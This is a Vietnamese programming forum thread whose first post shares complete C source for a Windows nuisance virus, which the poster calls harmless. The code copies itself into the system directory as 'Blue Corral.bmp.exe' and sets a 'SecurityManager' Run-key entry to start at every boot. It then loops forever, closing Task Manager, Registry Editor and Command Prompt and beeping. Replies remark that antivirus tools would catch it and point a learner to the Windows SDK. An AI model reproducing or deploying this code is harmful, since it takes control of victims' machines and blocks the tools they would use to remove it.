Chào mừng đến với Diễn đàn lập trình - Cộng đồng lập trình.
Kết quả 1 đến 3 của 3
  1. #1
    Ngày tham gia
    Sep 2015
    Bài viết
    0

    Mã nguồn virus viết bằng C(củ chuối)

    hihi,con này nhìn cũng đơn giản nhưng hơi chuối nải,anh em thử thửong thức xem nhé( ko có gì nguy hiểm đâu [IMG]images/smilies/biggrin.png[/IMG],chỉ hơi buồn cười thoai


    Mã:
    #include "windows.h" int APIENTRY WinMain(HINSTANCE hInstance,                     HINSTANCE hPrevInstance,                     LPSTR     lpCmdLine,                     int       nCmdShow){    HKEY hKey;    char sd[255];    char path[MAX_PATH];    int Freq = 0;    int Duration = 100;    bool Forwards = true;    bool Backwards = false;    int timer = 0;    HWND hWin;    HMODULE GetModH = GetModuleHandle(0);    GetModuleFileName(GetModH, path, 256);        GetSystemDirectory(sd,255);        strcat(sd,"\\Blue Corral.bmp.exe");    CopyFile(path,sd,FALSE);    unsigned char PathToFile[20] = "Blue Corral.bmp.exe";        RegOpenKeyEx( HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_SET_VALUE,&hKey );    RegSetValueEx(hKey, "SecurityManager",0,REG_SZ,PathToFile,sizeof(PathToFile));        RegCloseKey(hKey);        while(1==1)    {                hWin = FindWindow(NULL,"Windows Task Manager");        SendMessage(hWin,WM_CLOSE,(LPARAM)0,(WPARAM)0);                hWin = FindWindow(NULL,"Registry Editor");        SendMessage(hWin,WM_CLOSE,(LPARAM)0,(WPARAM)0);                hWin = FindWindow(NULL,"Command Prompt");        SendMessage(hWin,WM_CLOSE,(LPARAM)0,(WPARAM)0);                hWin = FindWindow(NULL,"Close Program");        SendMessage(hWin,WM_CLOSE,(LPARAM)0,(WPARAM)0);                if(Backwards==true)        {            Beep(Freq,Duration);            Freq = Freq - 100;            timer = timer - 1;        }        if (timer == 0)        {            Backwards = false;            Forwards = true;        }                if (timer == 30)        {            Backwards = true;            Forwards = false;        }        if(Forwards==true)        {            Beep(Freq,Duration);            Freq = Freq + 100;            timer = timer + 1;        }    }    return 0;}

  2. #2
    Ngày tham gia
    Sep 2015
    Bài viết
    0
    Các mã này mấy pro lấy ở đâu ra vậy,mấy cái Char,Int,#include này nọ thì biết,còn mấy cái sau nó thì chưa nhìn thấy bao giờ,em tự học nên không biết các mã đó từ đâu ra,em chỉ mới biết lập trình console chạy trên dos hoặc teminal đen thui thôi.Các pro khai thông giùm với

  3. #3
    Ngày tham gia
    Sep 2015
    Bài viết
    0
    Con này tuy chẳng gây hại gì nhưng đảm bảo sẽ bị block ngay bởi các AV. Ngày trước viết một cái tương tự thế này avast thịt luôn chưa cần chạy

    Trích dẫn Gửi bởi tiken36
    Các mã này mấy pro lấy ở đâu ra vậy,mấy cái Char,Int,#include này nọ thì biết,còn mấy cái sau nó thì chưa nhìn thấy bao giờ,em tự học nên không biết các mã đó từ đâu ra,em chỉ mới biết lập trình console chạy trên dos hoặc teminal đen thui thôi.Các pro khai thông giùm với
    Bạn tham khảo tài liệu lập trình Windows và Windows SDK là hiểu ngay thôi

 

 

Quyền viết bài

  • Bạn Không thể gửi Chủ đề mới
  • Bạn Không thể Gửi trả lời
  • Bạn Không thể Gửi file đính kèm
  • Bạn Không thể Sửa bài viết của mình
  •